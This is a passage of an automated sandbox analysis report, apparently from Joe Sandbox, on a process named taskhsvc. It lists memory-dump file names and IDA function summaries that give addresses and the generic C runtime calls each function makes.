Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 002BF2B8, Relevance: 4.7, APIs: 3, Instructions: 218

APIs

Part of subcall function 00321355: abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00319CF8), ref: 003213C1
Part of subcall function 00321355: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00319CF8), ref: 003213E7

memset.MSVCRT ref: 002BF3B3

Part of subcall function 0032174B: free.MSVCRT ref: 00321775
Part of subcall function 0032174B: __stack_chk_fail.LIBSSP-0 ref: 0032178D

memset.MSVCRT ref: 002BF4BA
__stack_chk_fail.LIBSSP-0(?), ref: 002BF590

Memory Dump Source

Source File: 00000013.00000002.1855196147.00290000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 0031D513, Relevance: 4.7, APIs: 3, Instructions: 218

APIs

Part of subcall function 00321355: abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00319CF8), ref: 003213C1
Part of subcall function 00321355: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00319CF8), ref: 003213E7

memset.MSVCRT ref: 0031D60E

Part of subcall function 0032174B: free.MSVCRT ref: 00321775
Part of subcall function 0032174B: __stack_chk_fail.LIBSSP-0 ref: 0032178D

memset.MSVCRT ref: 0031D715
__stack_chk_fail.LIBSSP-0(?), ref: 0031D7EB

Memory Dump Source

Source File: 00000013.00000002.1855329417.002DC000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 0031DEF4, Relevance: 4.7, APIs: 3, Instructions: 218

APIs

Part of subcall function 00321355: abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00319CF8), ref: 003213C1
Part of subcall function 00321355: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00319CF8), ref: 003213E7

memset.MSVCRT ref: 0031DFEF

Part of subcall function 0032174B: free.MSVCRT ref: 00321775
Part of subcall function 0032174B: __stack_chk_fail.LIBSSP-0 ref: 0032178D

memset.MSVCRT ref: 0031E0F6
__stack_chk_fail.LIBSSP-0(?), ref: 0031E1CC

Memory Dump Source

Source File: 00000013.00000002.1855329417.002DC000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 0032EE71, Relevance: 4.7, APIs: 3, Instructions: 183

APIs

Part of subcall function 0032E7FD: __stack_chk_fail.LIBSSP-0 ref: 0032E852

Part of subcall function 0032D3C2: abort.MSVCRT ref: 0032D412
Part of subcall function 0032D3C2: __stack_chk_fail.LIBSSP-0 ref: 0032D507

free.MSVCRT ref: 0032EF2B

Part of subcall function 0032E859: __stack_chk_fail.LIBSSP-0 ref: 0032E8DD

Part of subcall function 0031AA40: abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,002526E7), ref: 0031AA97
Part of subcall function 0031AA40: abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,002526E7), ref: 0031AAD5
Part of subcall function 0031AA40: abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,002526E7), ref: 0031AB19
Part of subcall function 0031AA40: memmove.MSVCRT ref: 0031AB70
Part of subcall function 0031AA40: __stack_chk_fail.LIBSSP-0 ref: 0031AB97

free.MSVCRT ref: 0032EF9C
__stack_chk_fail.LIBSSP-0 ref: 0032F10C

Part of subcall function 00319B70: free.MSVCRT ref: 00319BA5
Part of subcall function 00319B70: free.MSVCRT ref: 00319BC7
Part of subcall function 00319B70: __stack_chk_fail.LIBSSP-0 ref: 00319BE1

Part of subcall function 00319B0B: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,003145AC), ref: 00319B69

Part of subcall function 0032E8E4: memset.MSVCRT ref: 0032E941
Part of subcall function 0032E8E4: memset.MSVCRT ref: 0032E95F
Part of subcall function 0032E8E4: memset.MSVCRT ref: 0032EC7C
Part of subcall function 0032E8E4: __stack_chk_fail.LIBSSP-0 ref: 0032EC92

Part of subcall function 0032158B: abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00313E8F), ref: 003215E4
Part of subcall function 0032158B: abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00313E8F), ref: 00321623
Part of subcall function 0032158B: memcpy.MSVCRT ref: 0032164A
Part of subcall function 0032158B: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00313E8F), ref: 0032165D

Part of subcall function 00319D53: __stack_chk_fail.LIBSSP-0 ref: 00319DB3

Part of subcall function 00316562: strrchr.MSVCRT ref: 00316586
Part of subcall function 00316562: strrchr.MSVCRT ref: 0031659C
Part of subcall function 00316562: __stack_chk_fail.LIBSSP-0 ref: 00316601

Part of subcall function 0032BEDA: abort.MSVCRT ref: 0032BF43
Part of subcall function 0032BEDA: abort.MSVCRT ref: 0032BFE0
Part of subcall function 0032BEDA: __stack_chk_fail.LIBSSP-0 ref: 0032C220

Memory Dump Source

Source File: 00000013.00000002.1855329417.002DC000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 0024353A, Relevance: 4.6, APIs: 3, Instructions: 142

APIs

__stack_chk_fail.LIBSSP-0 ref: 0024374A

Part of subcall function 00319B0B: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,003145AC), ref: 00319B69

Part of subcall function 0031F679: abort.MSVCRT ref: 0031F6C9
Part of subcall function 0031F679: __stack_chk_fail.LIBSSP-0 ref: 0031F6E4

Part of subcall function 0031FA10: __stack_chk_fail.LIBSSP-0 ref: 0031FA3B

Part of subcall function 0031F8C2: abort.MSVCRT ref: 0031F91E
Part of subcall function 0031F8C2: abort.MSVCRT ref: 0031F960
Part of subcall function 0031F8C2: abort.MSVCRT ref: 0031F99F
Part of subcall function 0031F8C2: abort.MSVCRT ref: 0031F9DE
Part of subcall function 0031F8C2: __stack_chk_fail.LIBSSP-0 ref: 0031FA09

Part of subcall function 0032107E: abort.MSVCRT ref: 003210D1
Part of subcall function 0032107E: malloc.MSVCRT ref: 003210E9
Part of subcall function 0032107E: exit.MSVCRT ref: 0032112A
Part of subcall function 0032107E: __stack_chk_fail.LIBSSP-0 ref: 0032113D

Part of subcall function 00319D53: __stack_chk_fail.LIBSSP-0 ref: 00319DB3

Part of subcall function 0031F6EB: abort.MSVCRT ref: 0031F741
Part of subcall function 0031F6EB: abort.MSVCRT ref: 0031F780
Part of subcall function 0031F6EB: __stack_chk_fail.LIBSSP-0 ref: 0031F7A2

Part of subcall function 0021F792: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,00206074), ref: 0021F7B2

Part of subcall function 00231AED: abort.MSVCRT ref: 00231B56
Part of subcall function 00231AED: abort.MSVCRT ref: 00231B99
Part of subcall function 00231AED: abort.MSVCRT ref: 00231BE6
Part of subcall function 00231AED: strlen.MSVCRT ref: 00231BF4
Part of subcall function 00231AED: strlen.MSVCRT ref: 00231C08
Part of subcall function 00231AED: strlen.MSVCRT ref: 00231C26
Part of subcall function 00231AED: strlen.MSVCRT ref: 00231C44
Part of subcall function 00231AED: __stack_chk_fail.LIBSSP-0 ref: 00231D14

Part of subcall function 00326769: __stack_chk_fail.LIBSSP-0 ref: 003267D4

free.MSVCRT ref: 002436C4
free.MSVCRT ref: 00243708

Part of subcall function 00319B70: free.MSVCRT ref: 00319BA5
Part of subcall function 00319B70: free.MSVCRT ref: 00319BC7
Part of subcall function 00319B70: __stack_chk_fail.LIBSSP-0 ref: 00319BE1

Part of subcall function 00313842: __stack_chk_fail.LIBSSP-0 ref: 003138B7

Memory Dump Source

Source File: 00000013.00000002.1855104216.00230000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 0032587B, Relevance: 4.6, APIs: 3, Instructions: 99

APIs

Part of subcall function 003213EE: abort.MSVCRT ref: 0032143E
Part of subcall function 003213EE: _strdup.MSVCRT ref: 00321449
Part of subcall function 003213EE: exit.MSVCRT ref: 0032148A
Part of subcall function 003213EE: __stack_chk_fail.LIBSSP-0 ref: 0032149D

Part of subcall function 003257BB: strlen.MSVCRT ref: 003257D7
Part of subcall function 003257BB: __stack_chk_fail.LIBSSP-0 ref: 00325841

free.MSVCRT ref: 0032592C

Part of subcall function 00313842: __stack_chk_fail.LIBSSP-0 ref: 003138B7

_stati64.MSVCRT ref: 00325913
__stack_chk_fail.LIBSSP-0 ref: 003259BE

Memory Dump Source

Source File: 00000013.00000002.1855329417.002DC000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

